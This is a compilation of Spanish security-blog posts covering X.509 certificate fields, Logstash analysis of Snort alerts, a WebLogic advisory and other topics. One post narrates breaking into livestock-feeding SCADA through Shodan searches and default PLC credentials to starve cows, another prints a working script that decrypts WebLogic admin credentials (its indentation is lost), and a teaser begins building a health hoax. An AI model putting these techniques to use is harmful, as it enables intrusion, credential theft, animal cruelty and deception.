Security Art Work

Siguiendo con la entrada anterior, que hablaba del estándar X.509 que define la estructura del certificado; nos quedaba pendiente revisar los campos fundamentales que componen el bloque de tbsCertificate, dentro de la estructura de X.509.

Este bloque contiene la información fundamental de la PKI, como emisor, suscriptor, caducidades, etc. Se detallan los campos más relevantes a continuación:

• Version: Especifica la versión del protocolo X.509 con la que se ha construido el certificado, por ejemplo, si el certificado contuviera extensiones este campo debería contener inequívocamente el valor ‘3’.
• Serial Number (Número de Serie): Se trata de un número entero positivo que puede asignar la CA y que le permitirá identificar el certificado digital. Por lo tanto este identificador deberá ser único para cada certificado dentro de una cadena de confianza. Lo habitual es que se trate de números de módulo largo, lo que asciende a 20 octetos.
• Signature Algorithm Identifier (Identificador del Algoritmo de Firma): Este campo contiene necesariamente el algoritmo de cifrado empleado para generar la firma del suscriptor. Debe ser necesariamente el mismo que el que se emplea en la firma de validación de la cadena de confianza. Adicionalmente se consideran extensiones opcionales para este campo, que dependerán directamente del algoritmo de cifrado empleado.
• Issuer (Emisor): Este campo contiene información respecto a la Autoridad de Certificación que ha emitido el certificado digital, fundamentalmente del certificado de CA subordinada que se ha empleado para generar el certificado final. Concretamente cuenta con estos campos (para facilitar la legibilidad de la entrada nos centramos en los de mayor importancia y de uso más extendido):
• country: País donde su ubica la CA.
• organization: Nombre establecido para la CA.
• organizational unit: Campo definido para la unidad organizativa del certificado, se suele definir con un identificador de la finalidad del certificado o el departamento encargado de generarlo.
• state or province name: Nombre de estado o provincia, dependiendo de la organización del país en el que se ubica la CA.
• common name (CN): Se define como nombre común, y se define normalmente como el common name del subject del certificado de subordinada que se ha empleado para firmar el certificado.
• Locality: Ciudad donde se ubica la CA.
• NOTA: Los campos title, surname, given name, initials, pseudonym o generation qualifier, se definen también para el campo de emisor, aunque no se suelen emplear cuando quien emite el certificado es una CA (como podéis ver carecen de sentido para una entidad jurídica).
• Validity: Se trata de un campo fundamental dentro del mecanismo de uso de una PKI. Es el tiempo que se compromete la Autoridad de Certificación a disponer de información sobre la validez del certificado, lo que se traduce en consecuencia que este campo establece la vida útil del certificado. Se puede codificar empleando dos mecanismos UTCTime y GeneralizedTime.
• Subject (Suscriptor): Campo que incluye los datos del suscriptor (o usuario final) del certificado, por lo que va directamente asociado a la clave pública contenida en el mismo certificado. Del mismo modo que en el caso anterior, nos centramos en los campos fundamentales y de uso más extendido, habiendo una especificación muy extensa de posibles campos para este punto:
• Common name: Nombre asignado al certificado en concreto, depende mucho del tipo de certificado que se trate, por ejemplo en un certificado SSL lo habitual es incluir el nombre del dominio que emplea el certificado, en caso de certificados de firma suele emplearse el nombre completo de la persona.
• Serial number: Número de serie identificativo que se emplea para identificar inequívocamente un certificado emitido, este número debe ser único para cada certificado dentro de una CA.
• GivenName: Nombre propio de la persona en el caso de certificados personales.
• SurName: Apellidos de la persona para certificados personales.
• Organization unit: Puede hacer referencia al uso del certificado, o a la finalidad de la rama de la jerarquía de certificación empleada (o CA subordinada).
• Organization: Este caso es común al campo Issuer, ya que se suele poner el identificador de la CA emisora.
• Country: País de emisión del certificado.
• Subject Public Key Info: Campo definido para contener la clave pública del certificado, así como para identificar el algoritmo de cifrado empleado para su generación.

Para finalizar con la descripción de la estructura de un certificado empleando X.509, pasamos a detallar las principales extensiones empleadas en los certificados comerciales. Es importante destacar que estos campos son completamente opcionales. Son los siguientes:

• Authority Key Identifier: Campo que se emplea para identificar inequívocamente a la autoridad de certificación.
• Subject Key Identifier: Campo que se emplea para identificar inequívocamente al suscriptor.
• Key Usage: Especifica cuales son los usos válidos para el certificado, como por ejemplo si se puede emplear para firmar o para cifrar.
• Certificate Policies: Define la ubicación e identificación de la Política de Certificado definida para la subordinada que ha generado el certificado (Más información sobre Políticas de Certificación y Declaraciones de Prácticas de Certificación en esta entrada y en esta otra, ambas pertenecientes a esta serie).
• Basic Constraints: Incluye información muy importante como si el certificado es de CA, lo que permitiría que el certificado se empleara para firmar otros certificados.
• CRL Distribution Points: En esta extensión se detalla la ruta del enlace donde se pueden obtener las Listas de Revocación de Certificados (CRL) correspondientes a la subordinada que emite el certificado final, de este modo se puede automatizar la consulta de las mismas cuando se consulta el certificado.
• Authority Information Access: Del mismo modo que en el caso anterior, en esta extensión se mantiene la ruta de acceso al servicio de validación OCSP de la CA, facilitando también la automatización de la validación pudiendo obtener dicha información del propio certificado.

Con esto ya hemos revisado la estructura y principales campos de la implementación X.509 de certificados digitales. Gracias por leernos, espero que la entrada os haya resultado de utilidad, espero vuestros comentarios.

Enlaces adicionales:
http://www.ietf.org/rfc/rfc5280.txt

Logstash es una herramienta muy potente, que permite visualizar y analizar gran cantidad de información de una forma ágil y cómoda, y que está teniendo una gran aceptación en muchos ámbitos diferentes. En mi anterior entrada, que he actualizado con detalles de funcionamiento de la última versión de LogStash publicada, os contaba cómo iniciarse en el uso de esta aplicación, y empezar a probar su gran potencial.

Hoy vamos a ver otro posible uso para esta magnífica aplicación. Se trata de realizar un pequeño análisis sobre las alertas que se han generado en una sonda Snort durante un periodo determinado de tiempo.

Para ello, lo primero es disponer de las alertas en un fichero, para que la aplicación las pueda procesar. Una consulta como la siguiente nos servirá para extraer la información al fichero /tmp/saw_dump.csv:

SELECT
	sig_name AS sig_name,
	dec2ip(ip_src) AS ip_src,
	layer4_sport AS port_src,
	dec2ip(ip_dst) AS ip_dst,
	layer4_dport AS port_dst,
	ip_proto AS ip_proto,
	timestamp AS timestamp
FROM
	acid_event
WHERE
	timestamp >= 20140301
	and timestamp < 20140401
INTO OUTFILE'/tmp/saw_dump_march.csv'
	FIELDS TERMINATED BY ';'
	LINES TERMINATED BY '\n'
;

El fichero creado tendrá un contenido similar al siguiente:

ET P2P BitTorrent Announce ;AA.AA.AA.AA;18301;XX.XX.XX.XX;6969;6;2014-03-01 
      00:00:00
ET MALWARE User-Agent (Mozilla/4.0 (compatible ICS)) ;AA.AA.BB.BB;3289;
      XX.XX.XX.XX;80;6;2014-03-01 00:00:00
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0) ;
      AA.AA.CC.CC;62460;XX.XX.XX.XX;80;6;2014-03-01 00:00:00
ET P2P BitTorrent Announce ;AA.AA.DD.DD;18301;XX.XX.XX.XX;6969;6;2014-03-01
      00:00:00
ET WEB_SERVER Outbound PHP User-Agent;AA.AA.EE.EE;53376;XX.XX.XX.XX;80;6;
      2014-03-01 00:00:00

Si echamos un vistazo a los patrones que incluye por defecto vemos que, como era de esperar, no hay ninguno que coincida con la salida de nuestra consulta, por lo que tendremos que generar un patrón nuevo para poder procesar toda la información necesaria. Para ello, nos ayudaremos de la aplicación web Grok Debugger, que nos permite, a partir de un ejemplo de nuestro log, generar un patrón de forma sencilla.

La estructura de los patrones de Grok es la siguiente: %{SINTAXIS:SEMÁNTICA}. En SINTAXIS se define el nombre del patrón que se buscará (puede ser una cadena, una IP, un entero, una fecha, etcétera. En definitiva, cualquier patrón definido anteriormente), y en SEMÁNTICA qué nombre le vamos a dar en la salida a dicho parámetro. Con esto en mente, creamos los siguientes patrones para poder procesar correctamente el fichero de log que hemos generado:

SNORT_SIMPLE %{DATA:signature};%{IP:ip_src};%{POSINT:port_src};
      %{IP:ip_dst};%{POSINT:port_dst};%{DATA:proto};%{TIMESTAMP:timestamp}

DATE_ENG %{YEAR}[./-]%{MONTHNUM}[./-]%{MONTHDAY}

TIMESTAMP %{DATE_ENG} %{TIME}

Estos patrones personalizados los guardamos en un fichero de texto, que luego indicaremos a Logstash para que los pueda interpretar.

Antes de continuar, apuntar un pequeño detalle; hemos generado el patrón a partir de un ejemplo, así que es posible que el patrón generado no cubra todos los posibles valores de entrada con los que nos podemos encontrar, por lo que será necesario, al menos al principio, revisar la salida por consola de LogStash o Kibana en busca de elementos con el tag “_grokparsefailure”.

Es el caso del siguiente mensaje:

Aquí vemos que, al tratarse de una alerta ICMP, los valores de los puertos son nulos por lo que aparece la cadena “\N”, que no coincide con el valor de entero positivo que habíamos asignado en nuestra definición de patrón, dando lugar al fallo. En este caso, debemos modificar dicho patrón para que tenga en cuenta que es posible que los valores de los puertos sean nulos, quedando el listado como sigue:

SNORT_SIMPLE %{DATA:signature};%{IP:ip_src};(?:%{POSINT:port_src}|\N);
      %{IP:ip_dst};(?:%{POSINT:port_dst}|\N);
      %{DATA:proto};%{TIMESTAMP:timestamp}

DATE_ENG %{YEAR}[./-]%{MONTHNUM}[./-]%{MONTHDAY}

TIMESTAMP %{DATE_ENG} %{TIME}

Ahora sólo nos falta configurar Logstash con el fichero a procesar, e indicarle dónde están los patrones que vamos a aplicar en este caso. Para ello, generamos un nuevo fichero de configuración (que hemos llamado logstash-snort.conf) con el siguiente contenido:

input {
  file {
	start_position => "beginning"
	path => [ "/home/jvila/saw_dump_march.csv" ]
  }
}

filter {
  grok {
  	patterns_dir => "./patterns"
  	match => { "message" => "%{SNORT_SIMPLE}" }
  }

  date {
  	match => [ "timestamp", "yyyy-MM-dd HH:mm:ss" ]
  	locale => "en"
  }
}

output {
  elasticsearch { embedded => true }
}

Los cambios principales respecto al fichero mostrado en el artículo anterior los encontramos en la cadena que se busca en el filtro, y el formato de la fecha proporcionado por la base de datos.

Para finalizar, tan sólo debemos lanzar Logstash y esperar a que cargue toda la información necesaria, ejecutando por una parte el proceso que recopilará toda la información:

jvila@jvila:~/logstash-1.4.0$ bin/logstash -f logstash-snort.conf

Y por otra el que nos cargará la web:

jvila@jvila:~/logstash-1.4.0$ bin/logstash web

Mañana, si el editor me deja, os enseño el resultado y os explico algunas vistas que nos han parecido interesantes.

Estad atentos.

En esta entrada, dentro de nuestra serie dedicada a Certificados Digitales, nos vamos a centrar en la estructura e implementación de los certificados.

Creo que antes de comenzar es preciso realizar una aclaración, sé que hemos estado hablando continuamente de certificados, la tecnología criptográfica que emplean, la gestión que realizan de ellos las autoridades de certificación, los dispositivos hardware para gestión de claves criptográficas, etc. Por otra parte, también hemos hablado de el establecimiento, normativa y responsabilidades de una CA, así como de los servicios que prestan. Sin embargo, aún no hemos hablado de la implementación de los certificados, es decir, como se construyen y que formatos estructurales tienen. Este punto es el objeto de la presente entrada.

Para definir y establecer el contenido y estructura que debe tener un certificado digital se establece el estándar conocido normalmente como X.509, aunque su nombre completo es “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”, definido por el “Network Working Group” y definido en la RFC 5280. El estándar surgió originalmente en el año 1988, aunque la última versión vigente, X.509 v3, se aprobó en 2008.

La principal motivación de la definición de este estándar es la implementación de una Infraestructura de Clave Pública (en adelante PKI). Este hecho es fundamental, y es lo que distingue inequívocamente una clave criptográfica de un certificado digital. Las claves definidas por RSA únicamente son secuencias que permiten realizar el cifrado y descifrado de información, sin embargo el estándar X.509 establece parámetros para identificar al propietario del certificado, a su emisor (la autoridad de Certificación), fechas de emisión, caducidad, etc. Lo que nos lleva a pensar que sin este estándar nos resultaría imposible usar los certificados para, por ejemplo, firmar un documento electrónico.

Adicionalmente, este estándar también marca las directivas para la implementación de los mecanismos de validación que permiten a los usuarios de los certificados comprobar su validez en cualquier momento (más información sobre mecanismos de validación en anteriores entradas de este blog). Además, considera los conceptos de validación, rutas de certificación, revocación, etc. Esto nos da a entender que sin la definición de este estándar sería imposible establecer y operar una PKI.

Nos vamos a centrar en la especificación de la estructura y campos de un certificado digital, que se define fundamentalmente en el apartado 4 de la RFC. De forma gráfica, se muestra la estructura del certificado en la siguiente ilustración, diferenciando los campos que han sido incluidos a lo largo de las modificaciones incluidas en las diferentes versiones de X.509:

En la figura se muestra un orden de campos destinado a identificar los cambios en las versiones, sin embargo, estos campos se organizan categóricamente en tres grupos principales, que son los siguientes:

• tbsCertificate: Este campo contiene la información de emisor, sujeto, y periodo de validez así como información adicional de interés.
• signatureAlgorithm: Este campo contiene la información para identificar inequívocamente el algoritmo criptográfico que ha empleado la CA para firmar el certificado, además contiene campos opcionales que serán empleados dependiendo del tipo de algoritmo criptográfico empleado.
• signatureValue: Este campo contiene, como su nombre indica, el contenido de la firma del certificado, este campo es el que asegura mediante la firma de la CA que toda la información contenida en el campo tbsCertificate es legítima. Lo que supone básicamente que implementa la cadena de confianza del certificado (más información sobre cadena de confianza esta entrada anterior dentro de Fundamentos de Certificados Digitales).
• Extensiones: Las extensiones son un conjunto de campos y parámetros opcionales que se pueden añadir al certificado, aunque no son imprescindibles. Estos puntos se añadieron en la versión 3 de X.509. Repasaremos las de mayor uso e importancia en la presente entrada.

Con esto es todo en esta entrada, en breve una nueva entrada con un detalle completo de los campos fundamentales de tbsCertificate. Muchas gracias por seguirnos, como siempre quedo a la espera de vuestros comentarios.

En este post voy a hablar sobre una distribución, que por alguna misteriosa razón que no llego a entender, no suele ser utilizada. Hablo por supuesto, de Gentoo en su modalidad “Hardened”.

(N.d.A: Los siguientes párrafos evangelizan hacen una introducción a Gentoo, por lo que si el lector ya la conoce, puede saltar directamente a Gentoo Hardened)

Gentoo es una distribución rolling-release (lo que quiere decir que la distribución se actualiza continuamente con nuevas funcionalidades, además de para solucionar bugs). No obstante, su mayor característica es que los “paquetes” han de ser compilados por el usuario con una herramienta llamada “emerge”, que forma parte del sistema Portage.

Seguramente, el lector debe estar pensando que compilarse los propios paquetes es una pérdida de tiempo y que mejor gastar una Ubuntu / Debian / CentOS que ya te lo dan todo hecho. Pero, estamos en el año 2014 y si bien a comienzos del año 2000 la instalación de un sistema de escritorio podía durar una semana, con una máquina moderna podemos tener un sistema funcional en una noche, siempre y cuando sepamos lo que estamos haciendo. Y fíjense que estoy hablando de un sistema de escritorio, donde suele haber mayor cantidad software (y de mayor tamaño), que en un servidor.

[Read more…]

Post escrito en colaboración con Ernesto Corral.

Cuando se preguntó en la lista de correo de la RootedCON cuanto se estaba dispuesto a pagar por un training de exploiting de Corelan en Madrid la primera respuesta que me pasó por la cabeza fue “shut up and take my money”.

Cuando más tarde se abrió la inscripción tanto Ernesto como un servidor fuimos algunos de los afortunados que conseguimos plaza en el training. Más de una semana ha pasado desde que terminó el training y queremos compartir nuestras impresiones.

Lo primero que quiero dejar claro es que cumplió nuestras expectativas con creces. Aunque se recomendaba tener una base de exploiting, la realidad es que se empezaba desde nivel 0. Vimos como son los internals de Windows, como funciona un debugger, incluso se hizo un repaso de algunas instrucciones de ensamblador. Y llegamos hasta la explotación del navegador utilizando técnicas de heap spray pasando por el camino por el bypass de las protecciones aslr y dep.

[Read more…]

Hace unas semanas quedamos unos antiguos amigos para tomar unas cervezas en Madrid; viejos conocidos con los que en su momento compartí muchas noches conectado, y de los cuales algunos seguimos aún hoy trabajando en temas de seguridad. Con unas copas todo es más distendido, y hablando con Javi (nombre ficticio, of course) sobre cómo cambia todo con los años y las vueltas que da la vida, me estuvo contando cosas que, sinceramente, me dejaron un poco fuera de juego.

Y es que lo que estaba investigando en su trabajo (dirige la parte de seguridad de una empresa de automatización agrónoma) era cómo “ciberproteger” al ganado, porque matar animales por Internet es técnicamente posible aprovechando granjas conectadas a la red; esto lo habían investigado… y lo estaban probando. Por supuesto, le pedí que escribiera un post para SAW, de forma anónima, y lo que me remitió me dejó más fuera de juego todavía que lo que me contó esa noche… Ahí va, juzguen ustedes mismos…

—-

Matar a un animal en el ámbito físico es fácil, sobre todo los que no están sometidos a un control humano directo: si me acerco a un rebaño de ovejas con el pastor delante e intento degollar a una de ellas, seguramente el buen hombre o sus mastines acabarán conmigo… Si hago eso mismo en alta montaña, donde el ganado puede pasar días sin vigilancia humana —y si no están los mastines cerca, dicho sea de paso— la oveja no tiene nada que hacer. Es habitual, en zonas frías del norte de España (me vienen a la cabeza la zona oeste de Zamora y de León, el este de Galicia, la Cordillera Cantábrica…), dejar el ganado en las montañas durante días —semanas si la nieve impide subir a visitarlo—; aunque hace años los animales campaban a sus anchas, en la actualidad lo más normal es confinarlos en corrales donde, de manera automática, se les suministra agua y alimento, y además se les protege físicamente con cámaras y alarmas (el robo de ganado está a la orden del día). Evidentemente, estos sistemas de seguridad o de abastecimiento son completamente autónomos, e incluso se alimentan con energía solar para no depender de generadores de gasóleo. La duda que un técnico se plantea es… ¿habrá entornos de abastecimiento manejados por sistemas de control industrial… y conectados a Internet? Veremos que sí :)

Pero, ¿qué tiene que ver esto con la seguridad? Muy sencillo; hay animales que comen mientras tienen hambre, dejando de hacerlo una vez están saciados aunque tengan comida a su alrededor —por ejemplo, los gatos—, mientras que otros son capaces de comer hasta reventar, como muchas razas de perro. Un término medio son las vacas: el ganado vacuno pasta habitualmente de forma tranquila, pero si tiene hambre es capaz de hincharse demasiado (y eso sabemos que sienta mal). Si tenemos un rebaño sin comer ni beber durante un par de días y posteriormente les dejamos pastar, comerán mucho más de lo que deben. Y si ese alimento es grano, no hierba, y encima no les damos agua hasta que no han comido, sucede una cosa curiosa: la vaca comerá mucho grano porque tiene hambre, lo que incrementará su sed. Si cuando haya comido mucho grano, le dejamos beber agua, beberá mucha agua, que al mezclarse en el estómago del animal con la gran cantidad de grano producirá un efecto, digamos, curioso: el grano se hinchará y el estómago de la vaca reventará. ¿Y? Podemos intentar hacer esto de forma remota; para lograrlo sólo necesitamos unas cuantas cosas: un corral aislado sin presencia humana diaria, de esos del norte de España, con unas tolvas de grano y unos depósitos de agua controlados por SCADA y que ese mismo SCADA esté conectado a Internet. A buscar…

Lo primero que tenemos que hacer es averiguar si realmente hay sistemas SCADA que controlen la alimentación de explotaciones agropecuarias para, si existen, tratar de explotarlos. Utilizando nuestro buscador favorito podemos darnos cuenta de que sí que hay sistemas de este tipo y es más, pueden conectarse a Internet, generalmente a través de GPRS o radio; estos sistemas controlan tanto el silo donde se almacena el grano como la bajada de pienso a los comederos, así como la dosificación de agua para las reses. Muchos fabricantes están metiéndose en este negocio, porque parece ser que es bastante rentable (sobre todo en Estados Unidos y Australia) y, dicho sea de paso, lo hacen con la misma alegría y despreocupación con la que se meten en otros negocios donde conectan todo a Internet sin mayores problemas… en principio :) Uno de estos fabricantes es Automatic Farm Systems (http://www.afsproducts.com), estadounidense, cómo no, y uno de sus productos estrella son los silos donde se almacena —y con válvulas se dispensa— el grano (http://afsproducts.com/sites/default/files/file/Bulk%20Feed%20Tanks.pdf) así como las trituradoras para dárselo al ganado (http://afsproducts.com/sites/default/files/file/Hammermils.pdf). Recordemos, tenemos que evitar que se triture el grano para hacer efectivo el ataque.

Pero al igual que muchos fabricantes industriales, Automatic Farm Systems no fabrica la parte de automatización de sus productos: otros lo hacen por él. En el caso que nos interesa, un integrador destacado es Wilson Groom (http://www.wilsongroom.com), que ha desarrollado software ad hoc que habla con los productos de AFS, en concreto con los PLC de Allen-Bradley (Rockwell) que éstos incorporan, y que permiten el control de una explotación agropecuaria (¡oh, sorpresa!) desde Internet (literalmente, su publicidad indica que “it can be remotely accessed via any web browser, providing access from a wide variety of PC-based and smartphone platforms”). Vamos, que tenemos que buscar PLC de Rockwell, los usados por AFS, en España, y luego averiguar si se trata de una explotación o no. Resumiendo mucho este proceso, podemos empezar con Shodan buscando las firmas de estos PLC (hay varias, que no vamos a poner aquí, obviamente) y restringiendo nuestra búsqueda a España (country:ES); pero los PLC de Rockwell se usan para muchas cosas. ¿Cómo llegar a determinar que el PLC controla una explotación o no? Hay dos formas: la aproximada es usando Shodan; cuando el buscador es capaz de geolocalizar una IP hasta su ciudad, lo indica, mientras que si no es capaz, el campo está vacío:

Por supuesto, esto no es muy científico, pero bueno, es una primera aproximación. La segunda me gusta más: revisando las especificaciones técnicas de los productos de Wilson Groom (el integrador, ¿os acordáis?), disponibles en su web, vemos que esta gente utiliza una aplicación para mantenimiento remoto, contra sus propios sistemas desplegados en campo, que “por seguridad” no va a través del puerto 80, como va el acceso al sistema de control, sino que va por el puerto 9090/tcp, con usuario y contraseña, eso sí :)

Así, tenemos que buscar direccionamientos de PLC Rockwell en España, y que tengan el puerto 9090/tcp accesible. Volcamos la búsqueda de Shodan a un fichero, sacamos las direcciones IP y a partir de éstas buscamos direccionamientos con el 9090 abierto; una línea de script y obtenemos al menos diez dispositivos de control conectados a Internet que cumplen estas condiciones en España, de los cuales siete están sin geolocalización concreta (por debajo del país) en Shodan… estos serán nuestros objetivos principales (si alguno falla, iremos a por los geolocalizados).

La instalación de los PLC de Rockwell tiene, como tantos otros, un usuario web por defecto, con privilegios de control total sobre el sistema (de nuevo, no doy usuario y password, pero se puede obtener de listas de contraseñas públicas disponibles en Internet). Accedemos a uno de ellos que tiene esta configuración y que, aunque Shodan no geolocaliza, localizadores de IP —con la fiabilidad que éstos tienen, que es discutible— fijan en Asturias, fuera de las grandes ciudades y muy cerca del Parque Natural de Somiedo (una zona preciosa, dicho sea de paso):

Bien, parece que nos vamos acercando. Con las credenciales por defecto accedemos a lo que es un interfaz de un sistema de control de una granja real. Pero, ¿cómo podemos saber que se trata de una granja de ganado vacuno y no de pollos, por ejemplo? Evidentemente, prueba y error. La verdad, no sabemos si aparte de unas vacas hemos perjudicado a gallinas, cerdos u ovejas, aunque creemos que no, porque estos animales no suelen ubicarse lejos de zonas urbanas: los cerdos o las gallinas no se dejan en el monte durante días y días, sino que están en granjas o corrales cerca de los municipios. En fin, es un proceso, como decimos, de prueba y error, pero confiamos en que nuestra granja sea vacuna.

Ahora toca buscar cómo cortar el grano y el agua que el sistema proporciona a los animales, cruzar los dedos y ver si funciona; en los PLC de Rockwell tenemos un usuario por defecto, “administrator”, con una contraseña también por defecto, que no vamos a poner aquí pero todo el mundo conoce :) Como en muchas instalaciones, en la nuestra podemos probar si estas credenciales funcionan. Y sorpresa. SÍ que lo hacen:

¡Estamos dentro! Ahora tenemos que buscar dónde se controla la dispensación de agua y grano a los animales; para ir rápido, los manuales de la aplicación de control (como siempre, disponibles públicamente en la web del fabricante) nos son de gran utilidad; tenemos que llegar a la pantalla correspondiente:

En ella, en el menú superior del interfaz, tenemos todos las opciones de control de la alimentación; utilizaremos CLOSE tanto para la tolva de grano como para el depósito de agua, quedando entonces así:

Vemos que se resalta en rojo el indicador, porque desde luego cortar agua y alimento a los animales, bueno, bueno, no parece a priori… ¿Qué queda ahora? Esperar. Cuarenta y ocho horas, para ser exactos. Trascurrido este tiempo, abrimos el dispensador de la tolva de grano:

Esperamos un rato a que los animales coman lo suficiente para quedarse satisfechos… eso sí, sin agua, y, por ejemplo seis horas después, abrimos el depósito, volviendo a la situación normal:

Ahora sólo queda esperar a que la naturaleza siga su curso. A priori, las vacas habrán comido mucho grano y ahora beberán agua en cantidad, con lo que teóricamente, llegamos al resultado que buscábamos. A los animales les reventará el estómago (esto lo he visto personalmente y no es lo más agradable de mundo, créanme).

Realmente, no podemos saber si hemos tenido éxito, es decir, si hemos matado por Internet. Pero como las noticias vuelan, y más en zonas donde la ganadería es un pilar fundamental de la economía, durante los días posteriores a nuestra prueba consultamos la prensa local de la zona. En el diario “La Nueva Asturias” nos llamó la atención la siguiente noticia, fechada en febrero de 2014.

También nos llamó la atención la misma noticia en “El Cantábrico”, un diario del norte.

¿Fallo en el sistema de alimentación? ¿Larga agonía? ¿Casualidad? No lo creo :) Parece que hemos logrado nuestro objetivo: matar a través de Internet. Vacas, no personas, por supuesto. Evidentemente este artículo resume bastantes horas de trabajo —no todo sale a la primera, pero tampoco se trata de detallar todos los problemas técnicos o no técnicos que nos vamos a encontrar en el camino— y da una visión muy simplificada del proceso, pero creo que ilustra bien la situación actual. He tratado de ocultar detalles técnicos que faciliten a un tercero repetir el ataque, aunque cualquiera con algo de tiempo y unos conocimientos mínimos podría realizarlo o, lo que es peor, automatizarlo por completo…

Es cierto que estas pruebas son un problemón para el ganadero, al que tratamos siempre de localizar para compensarle anónimamente por nuestros análisis (lo que tiene el tema agropecuario es que somos cuatro gatos y nos conocemos todos), pero creo que la prueba de concepto ha valido la pena. También nos hemos puesto en contacto tanto con el fabricante de los PLC como con la empresa que ha desarrollado los SCADA para informarles de estos problemas, pero en fin, que si yo fuera ganadero, y si además hoy no fuera el día que es, me preocuparía…

Weblogic es una plataforma creada por Oracle en la que se integran varios productos de la misma familia, que tienen por objetivo ayudar a la gestión de procesos de las empresas que lo utilizan. Desde el punto de vista más técnico podemos decir que se trata de una plataforma basada en java EE y compuesta por servidores de aplicaciones, middlewares, servidores web, etc. que permiten gestionar la configuración de cada uno de ellos de una forma totalmente integrada. Para acceder a esta plataforma se requiere un usuario, el cual se crea durante la fase de instalación del producto. Este usuario permite configurar todos los componentes y complementos necesarios para cada caso.

Durante la instalación en modo desarrollo, es decir, previo a paso a producción, el asistente de configuración genera un archivo de identidad de arranque (boot.properties) necesario para la administración inicial del servidor. La cuestión es que este archivo contiene el nombre de usuario y la contraseña del usuario administrador, aunque de forma cifrada.

Una vez establecidos el usuario y la contraseña, se puede ver cómo quedan guardados:

En este fichero, a simple vista, se puede observar que se almacenan las credenciales de forma segura. A pesar de ello, debemos saber que si un usuario malintencionado o intruso accediera al sistema donde reside, podría obtener los credenciales en claro.

Los pasos que se tendrían que realizar desde el propio sistema son los siguientes:
1.- Acceder al directorio [FMW_HOME]/wlserver_XX.Y/server/bin/
2.- Ejecutar el script setWLSEnv.sh para configurar las variables del entorno.
3.- Descargar el script en python (jython) decrypt.py y ejecutarlos de la siguiente manera:

~$ java weblogic.WLST decrypt.py

Ejemplos:
Obtener el password:

~$ java weblogic.WLST decrypt.py /opt/oracle/Middleware/user_projects/
      domains/base_domain {AES}TV0pZXXXXXXXXXXXXXXXXXXXXXXXXXXXXXFjI6/zM\=

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

RESULT: micontrasenyacifrada

Obtener el usuario:

~$ java weblogic.WLST decrypt.py /opt/oracle/Middleware/user_projects/
     domains/base_domain {AES}MhcB2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXFGHi5/jI\=
Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

RESULT: miusuariocifrado

En este caso, es importante eliminar el fichero una vez hayamos terminado de parametrizar el servidor en modo desarrollo. De esta forma nos evitaremos que caiga en manos de quien no debe.

decrypt.py

#============================================================================= 
# Jython Script for displaying de-crypted WebLogic boot.properties files 
# 
# To run, change to a WebLogic domain directory and execute: 
# 
# 
# Add parameter '-?' to the end of the command line to display more help 
#============================================================================= 

import os 
from java.io import FileInputStream 
from java.util import Properties 
from weblogic.management import EncryptionHelper 
from weblogic.security.service import SecurityManager 
from weblogic.security.subject import SubjectManager 

#============================================================================= 
# Main 
#============================================================================= 
def main(): 
#for arg in sys.argv: 
# if arg.count(arg.strip()): 
# printUsageAndExit() 
saltFilePath=os.path.join('security', 'SerializedSystemIni.dat') 
if not os.path.exists(saltFilePath): 
print "Error: The script must be run from a WebLogic domain direcotry or 
    a directory containing '%s'" % saltFilePath 
printUsageAndExit() 
try: 
open(saltFilePath, 'r').close() 
except IOError: 
print "Error: The file '%s' is not readable - check file permissions" % saltFilePath 
printUsageAndExit() 
processBootFiles(os.curdir, descryptPropsFile) 

#============================================================================= 
# Decrypt (Note, to encrypt just use: EncryptionHelper.encrypt(text)) 
#============================================================================= 
def decrypt(text): 
getKernelIdMethod = SecurityManager.getDeclaredMethod('getKernelIdentity', None) 
getKernelIdMethod.accessible=1 
return EncryptionHelper.decrypt(text, getKernelIdMethod.invoke(SecurityManager, None)) 

#============================================================================= 
# Process Boot Files 
#============================================================================= 
def processBootFiles(rootPath, processFunc): 
if not os.path.isdir(rootPath): 
return 
fileNames = os.listdir(rootPath) 
for fileName in fileNames: 
path = os.path.join(rootPath, fileName) 
if os.path.isfile(path): 
if fileName == 'boot.properties': 
processFunc(path) 
elif os.path.isdir(path): 
processBootFiles(path, processFunc) 
processFunc("./boot.properties") 

#============================================================================= 
# Decrypt Props File 
#============================================================================= 
def descryptPropsFile(filepath): 
print 
print '----- Decrypting %s -----' % filepath 
try: 
properties = Properties() 
file = FileInputStream(filepath) 
properties.load(file) 
file.close() 
for entry in properties.entrySet(): 
print '%s = %s' % (entry.key.strip(), java.lang.String(decrypt(entry.value.strip()))) 
except IOError: 
print "Error: Unable to read file '%s' - check file permissions" % filepath 
print 

#============================================================================= 
# Print Usage And Exit 
#============================================================================= 
def printUsageAndExit(): 
print 
print 'wlsdecrypt.py' 
print '-------------' 
print 
print "Jython Script for displaying de-crypted boot.properties files from a 
    WebLogic domain. Before running the script, change directory to the directory 
    that contains a WebLogic domain (or a directory containing 'security/
    SerializedSystemIni.dat' and one or more associated 'boot.properties' files). 
    Run this script via WLST or directly via the Java/Jython launch command (the 
    latter option requires both 'jython.jar' and 'weblogic.jar' to be added to 
    the classpath)." 
print 
print 'Example Usage:' 
print 
print '> /opt/weblogic/wlsadm/weblogic92/common/bin/wlst.sh ~/home/chordadm/
    wlsdecrypt.py (Unix)' 
print 
print '> C:\\bea\\weblogic92\\common\\bin wlst.cmd C: myscripts 
    wlsdecrypt.py (Windows)' 
print 
exit() 

# 
# Invoke main and end 
# 
main()

Ya dijimos en el anterior post de la serie que íbamos a fabricar un hoax; lo primero que queremos hacer es tocar la fibra sensible. ¿El dinero? No, la salud :) Queremos convencer a nuestros objetivos que correr más de diez kilómetros al día es perjudicial para ellos, aplicando algunas técnicas de persuasión sobre esta idea…

La primera, autoridad: que correr es malo no lo digo yo, que no me gusta el deporte, sino que lo dice un afamado médico especializado en la materia: el Dr. James Hetfield (que en sus ratos libres canta en un grupo amateur que está empezando en esto de la música y se llama Metallica… no sé si con ese nombre triunfarán algún día ;).

Este médico, que es el que opina que correr más de diez kilómetros al día es perjudicial para la salud, trabaja en un centro de reconocido prestigio como el UPMC (University of Pittsburgh Medical Center), un centro estadounidense real y, por lo que parece, de lo mejorcito en Medicina del Deporte (Google says). Estas son sus palabras iniciales:

[Read more…]

